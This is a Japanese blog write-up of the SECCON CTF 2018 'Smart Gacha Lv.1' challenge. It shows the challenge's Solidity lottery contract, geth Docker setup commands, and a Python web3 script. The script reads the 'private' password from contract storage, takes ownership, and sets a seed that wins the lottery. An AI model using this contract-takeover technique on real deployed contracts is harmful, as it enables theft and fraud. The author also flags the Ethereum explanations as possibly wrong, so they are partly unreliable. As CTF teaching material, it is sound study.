fr33f0r4ll

自分用雑記

SECCON CTF 2018 Online Smart Gacha Lv.1 復習

Smart Gacha Lv1の復習

Writeup見ても全然分からなかったので残しておく。
Ethereumの知識が0の状態から突貫でやっているのでその辺りの記述は多分間違っています、注意してください。

参考にしたのはこのあたり、あとは公式のドキュメントとかWeb3.pyのドキュメントとか。

問題

Toggle the "getItem" boolean value in "fair lottery contract" to true. If you are lucky, you have only to press "test luck" button once. Even if you are not lucky, all you have to do is press the button 1,000,000 times.
Server: http://ether.pwn.seccon.jp/

解説

https://cookies.hatenablog.jp/entry/2018/10/28/184145のWriteupを参考にしながら解いた。

問題の解析

ServerのURLにアクセスすると、ログイン画面のようなページが表示される。
でも多分ログインは関係ないはずで、アカウントやパスを入れてもInternal Server Errorが出るだけだと思う。
Signupのところでパスワードが入力できるので、そこでパスワードだけ入力すると問題の"Lottery"にアクセスできる。
このパスワードは後から使うので忘れないように。 アカウントアドレスは空欄のままで問題ない。
正直誘導が不親切だと思う(本番で詰まってた)。

f:id:hiziriAI:20181108153540p:plain

パスワード入れてRegister押せばOK、"Lottery"が表示される。

"Claim ETH", "Deploy Lv1", "Deploy Lv2", "Your own client?"の4つのボタンと、"Wallet Address"と"Balance"の表示がある。

このETHというのはEthereumという分散型アプリケーションプラットフォームプロジェクトで使われる内部通貨の単位のことだと思う。
検索しても適当な用語の使い方をしているサイトばかりで、細かい用語の正しい意味が分からなかった。

まずは"Claim ETH"から問題を解くのに必要なEthereumの通貨を取得する。
しばらく待つと"Balance"が10ETHになる、これを元に問題を解ける。
無くなったらクッキーを削除して再登録すればまたもらえるはず。

f:id:hiziriAI:20181108153543p:plain

こんな感じになってるはず、アドレス見えてるけど閉じてるネットワークだし多分大丈夫だろ(適当)。

次に"Deploy Lv1"を押して、Lv1の問題のスクリプトを読み込む。
すると、"Test Luck!!"と書いてあるボタンとテーブルが追加されている。

f:id:hiziriAI:20181108153549p:plain

こんな感じ。
この"Test Luck!!"を押すと、"Played"が増えて"Balance"が微妙に減る。

問題文から察するに、このクジを当てればいいらしい。
当然まともに当てるわけがない。

クジを当てるには、このクジがどのように動作しているのか調べる必要があるため、ソースコードなんかを探す。
ソースと通信からいくつかのスクリプトが読み込まれているのが分かる。
この中のひとつである"Gacha.sol"がこの"Lottery"のプログラムになる。
一緒にロードされている"/static/lottery.js"を見れば分かるかもしれないが、直感でも何となく分かるだろう。

pragma solidity^0.4.24;

contract Gacha {
    address public owner;
    address public player;
    uint256 public played = 0;
    uint256 public seed;
    uint256 public lastHash;
    bool public getItem = false;
    bytes32 private password;
    
    modifier onlyOwner() {
        require(owner == msg.sender);
        _;
    }
    
    constructor(bytes32 _password, uint256 _seed, address _player) public {
        owner = msg.sender;
        player = _player;
        password = _password;
        lastHash = uint256(blockhash(block.number-1));
        seed = _seed;
    }
    
    function pickUp() public returns(bool) {
        require(player == msg.sender);
        
        uint256 blockValue = uint256(blockhash(block.number-1));
        if (lastHash == blockValue) {
            revert();
        }
        lastHash = blockValue;

        played++;
        if (mod(played, 1000000) == 0) {
            getItem = true;
            return getItem;
        }
        
        uint256 result = mod(seed * block.number, 200000);
        seed = result;
        
        if (result == 12345) getItem = true; // Flag is here!!
        
        return getItem;
    }
    
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b != 0);
        return a % b;
    }
    
    function initSeed(uint256 _seed) onlyOwner public {
        seed = _seed;
    }
    
    function changeOwner(bytes32 _password) public {
        if (password == _password) owner = msg.sender;
    }
    
}

わざわざコメントでフラグの場所を教えてくれている、このgetItemの値がtrueになるようにすればいいらしい。
前後関係から見て、seed * block.number % 200000 == 12345trueになればいいはず。

Ethereum

ここから先のことを理解するにはEthereumを知っていないといけなかったので調べた。 解くのに必要な最低限のことを最低限以下の理解で書いているので、間違ってる可能性が大いにあることに注意。

Ethereumでは、簡単に言うとブロックチェーン上にあるプログラム(コントラクトと呼ばれるらしい)を持つことができ、それを仮想マシン(Ethereum Virtual Machine, EVMというらしい)で実行することができる。
そして、コントラクトを実行した結果をブロックチェーン上に記録していくようになっている。
スマートコントラクトというらしい、詳しい実装などは知らない。

"Gacha.sol"もそのようなプログラムのひとつで、これはSolidityという言語で記述されている。
このコードはコンパイルされ中間表現のバイトコードとしてブロックチェーン上に記述される、その中間コードが実際に実行される。

問題を解く上で重要なのは、Ethereumのコントラクトのコードと一部のデータはブロックチェーンに記録されているため、そのネットワークに参加している人間なら誰でも見ることができるということである。
private宣言されていてもデータとして直接見ることは可能である。

調べた限りではブロックチェーン上に記録しないデータを持つことも可能らしいが、この問題のプログラムでは使われていないので無視する。

脆弱性

Ethereumの特徴から考えると、このプログラムの中のpasswordはネットワークの参加者なら誰でも見ることができるということが分かる。
passwordが分かっているのでchangeOwner関数の呼び出しを通じてこのコントラクトのオーナーになれる、ということらしい。

オーナになると、initSeedを呼び出して任意のシードを設定できるようになる。 どのような値を設定すればクジを当てられるかは簡単な算数で分かる。

seed * block.number % 200000 == 12345が真になればいいので、seed = 12345 * (block.number^-1 mod 200000)と設定すればいい。
逆元により、12345 * block.number^-1 * block.number mod 200000 = 12345となる。
詳しくはmodの逆元で検索すればいいんじゃないかな。

これでどうすればいいかが分かったので、あとはやるだけである。

Exploit

EVMのコードを実行する方法はいくつかあって、Writeupでは”geth”というEthereumのクライアントのコンソールから直接コマンドを実行していた。 前提知識が欠けていたのでまったく分からなかったが。
他にも、RPCを利用してJavaScriptPython経由で利用することもできる。
ここではPythonを使うことにする。

接続

問題を解く前に、CTFで使ってるEthereumのネットワークに接続する必要がある。
ここではgethをDocker上で起動して使うことにする。Dockerのインストールなどは他の記事を見て欲しい。

https://github.com/ethereum/go-ethereum/wiki/Running-in-Docker gethの公式のイメージがあるので、そのまま使わせてもらうことにした。

この問題で使っているネットワークへ接続するための設定ファイルは、"Your own client?"のメニューから取得できる。
"Configuration files"のリンクから設定ファイルをダウンロードして使う。
ダウンロードしたZipを解凍すると"connection"というディレクトリが出てきて、この中に設定がある。
サンプル中の"connection"はこのディレクトリだと思って解釈して欲しい。

起動するためのコマンドは以下の通りになる。

mkdir ether-data # 設定やブロックチェーンなどのデータが書き込まれるディレクトリを作成

# ethereum/client-go以降は、Docker内で実行されるgethに渡されるオプションになる
# connectionとether-dataをDocker環境ないからも参照できるようにして、オプションで設定ファイルとデータの保存場所として指定している
docker run -it -v $(pwd)/connection:/connection -v $(pwd)/ether-data:/data ethereum/client-go --datadir /data init /connection/genesis.json

# --rpcapiでRPCからアクセスできるAPIを指定している、指定しないといくつかの機能がPythonから使えなくなるので注意
# --rpcと--rpcaddrでRPCの起動とアドレスを指定、ポートは初期設定のものに接続できるようにDockerで指定している
docker run -it -v $(pwd)/ether-data:/data -p 8545:8545 -p 30303:30303 ethereum/client-go --datadir /data --networkid=2994 --nodiscover --rpcapi eth,web3,personal,admin --rpc --rpcaddr "0.0.0.0" 

これでgethが起動する、うまくいっていればログが表示されているはずである。

コード

Pythonで作った攻撃スクリプト、何度か実行する必要があるかもしれない(ブロックチェーンの状態は他の人も変化させられるため)。

Web3というEthereumにアクセスするためのライブラリを使うので、pipでインストールする必要がある。 あとPython3じゃないとだめなので注意。

from web3 import Web3

# Ethereumのコードを実行するためには、手元にコンパイルしたコードが必要になる
# 直接Solidityのコンパイラを使ってもいいが、オンラインで使えるコンパイラがあるのでそっちを使った
# https://remix.ethereum.org/
# Gacha.solのコードをコンパイルするには、コンパイラのバージョンをファイル先頭に書いてある0.4.24に合わせる必要がある、nightlyが付いてないやつ
# コンパイルしたあと、ABIからクリップボードにコピーできる
# falseとtrueだけFalseとTrueに合わせる必要がある
# こちらがそのabi

abi = [{
    "constant": False,
    "inputs": [{
        "name": "_seed",
        "type": "uint256"
    }],
    "name": "initSeed",
    "outputs": [],
    "payable": False,
    "stateMutability": "nonpayable",
    "type": "function"
}, {
    "constant": True,
    "inputs": [],
    "name": "played",
    "outputs": [{
        "name": "",
        "type": "uint256"
    }],
    "payable": False,
    "stateMutability": "view",
    "type": "function"
}, {
    "constant": False,
    "inputs": [],
    "name": "pickUp",
    "outputs": [{
        "name": "",
        "type": "bool"
    }],
    "payable": False,
    "stateMutability": "nonpayable",
    "type": "function"
}, {
    "constant": True,
    "inputs": [],
    "name": "lastHash",
    "outputs": [{
        "name": "",
        "type": "uint256"
    }],
    "payable": False,
    "stateMutability": "view",
    "type": "function"
}, {
    "constant": True,
    "inputs": [],
    "name": "player",
    "outputs": [{
        "name": "",
        "type": "address"
    }],
    "payable": False,
    "stateMutability": "view",
    "type": "function"
}, {
    "constant": True,
    "inputs": [],
    "name": "seed",
    "outputs": [{
        "name": "",
        "type": "uint256"
    }],
    "payable": False,
    "stateMutability": "view",
    "type": "function"
}, {
    "constant": True,
    "inputs": [],
    "name": "owner",
    "outputs": [{
        "name": "",
        "type": "address"
    }],
    "payable": False,
    "stateMutability": "view",
    "type": "function"
}, {
    "constant": True,
    "inputs": [],
    "name": "getItem",
    "outputs": [{
        "name": "",
        "type": "bool"
    }],
    "payable": False,
    "stateMutability": "view",
    "type": "function"
}, {
    "constant": False,
    "inputs": [{
        "name": "_password",
        "type": "bytes32"
    }],
    "name": "changeOwner",
    "outputs": [],
    "payable": False,
    "stateMutability": "nonpayable",
    "type": "function"
}, {
    "inputs": [{
        "name": "_password",
        "type": "bytes32"
    }, {
        "name": "_seed",
        "type": "uint256"
    }, {
        "name": "_player",
        "type": "address"
    }],
    "payable":
    False,
    "stateMutability":
    "nonpayable",
    "type":
    "constructor"
}]

# それぞれで違うので設定する必要がある
contract_addr = "<Test Luck!!のところのContract Address>"
wallet_addr = "<Wallet Address>"  # wallet addr of lottery
w = Web3()

#  connection/static-nodes.jsonにある接続先の情報、これで自分の環境で動作するDockerからCTFのネットワークに接続できる
w.admin.addPeer(
    "enode://fdc1d08a0902a563c5c593b2ee33224b4e8963ed4b6bd0fd6c7cb5531c33985f696675387b9751c24cc3a691981f888df5b8ab9a4a72646a46d4f1a8f2e4bb36@163.43.117.58:30303?discport=0"
)
w.admin.addPeer(
    "enode://c1905ca15641a649d819798103da61438a33df2a1de6a4b179cfd345346975e4e7a3b2d7131cae00284b89526e90f63ae5753f98b3498a0fe5ac0c47a5ec625b@163.43.117.33:30303?discport=0"
)
w.admin.addPeer(
    "enode://fb41e22d8f1b1142f583ed4bcd8eb448f527cf780029fad529fc06c458e5093d0fdf265925a01612b4e477feaf1aa22422f2b0752d6318bc33671f34bc802b0c@163.43.117.44:30303?discport=0"
)

# どっかからパクってきたmodの逆元計算のための拡張GCD
def egcd(a, b):
    (x, lastx) = (0, 1)
    (y, lasty) = (1, 0)
    while b != 0:
        q = a // b
        (a, b) = (b, a % b)
        (x, lastx) = (lastx - q * x, x)
        (y, lasty) = (lasty - q * y, y)
    return (lastx, lasty, a)

passphrase = "<最初に入力したパスワード>"

# connection/prv.keyにある、Walletの秘密鍵のインポート
# これで割り当てられたETHを使えるようになる
prv_key = ''
with open("./connection/prv.key") as f:
    prv_key = f.read()
    
key = w.eth.account.decrypt(prv_key, passphrase)
w.personal.importRawKey(key, passphrase)

# アカウントのアンロック
# よく分からない、ログイン処理みたいなものだろうか
w.personal.unlockAccount(w.eth.accounts[0], passphrase)
w.eth.defaultAccount = w.eth.accounts[0] # 登録したアカウントをデフォルトで使うように

contract = w.eth.contract(contract_addr, abi=abi)

# ストレージ中からパスワードを取得
# 6がパスワードの位置になる
# 前後の値を見てコード中の変数宣言に対応させていけば大体分かる
password = w.eth.getStorageAt(contract_addr, 6)

# changeOwnerを呼び出す、transactしないとブロックチェーンに記録してくれないらしい
contract.functions.changeOwner(password).transact()
# seed * blockNum mod 20000 == 12345 => (seed * blockNum - 12345) / k is Integer, 200000k

# 以下を何回か繰り返せば、そのうち当たる
# 人が多いときは+ 1より大きくする必要がある
# たまにエラー、リクエストが多いとダメらしい
block_num = w.eth.blockNumber + 1
x, _, _ = egcd(block_num, 200000)
if x < 0:
    x += 200000

# gasというのは手数料みたいなもので、それなりに重い関数だと必要らしい
contract.functions.initSeed(12345 * x).transact({"gas": 1000000})
w.eth.getTransaction(contract.functions.pickUp().transact())
w.eth.getTransaction(contract.functions.getItem().transact())

# 連続して実行するとエラーが出るので、ちょっとまってから実行するといい

だいたいこれで動く。 うまくいけば、Lotteryを更新するとFlagが表示される。

まとめ

Writeupを見ても、Ethereumの知識がないとまったく分からなかったので調べてやってみた。
ブロックチェーン上に状態とコードが保存されるのでコードの実行を一種の取り決めのように扱えるみたいな感じなんだろうか、新鮮だった。
正直CTF中にここまで調べて解くのは僕には無理っす、解けてる人すごい。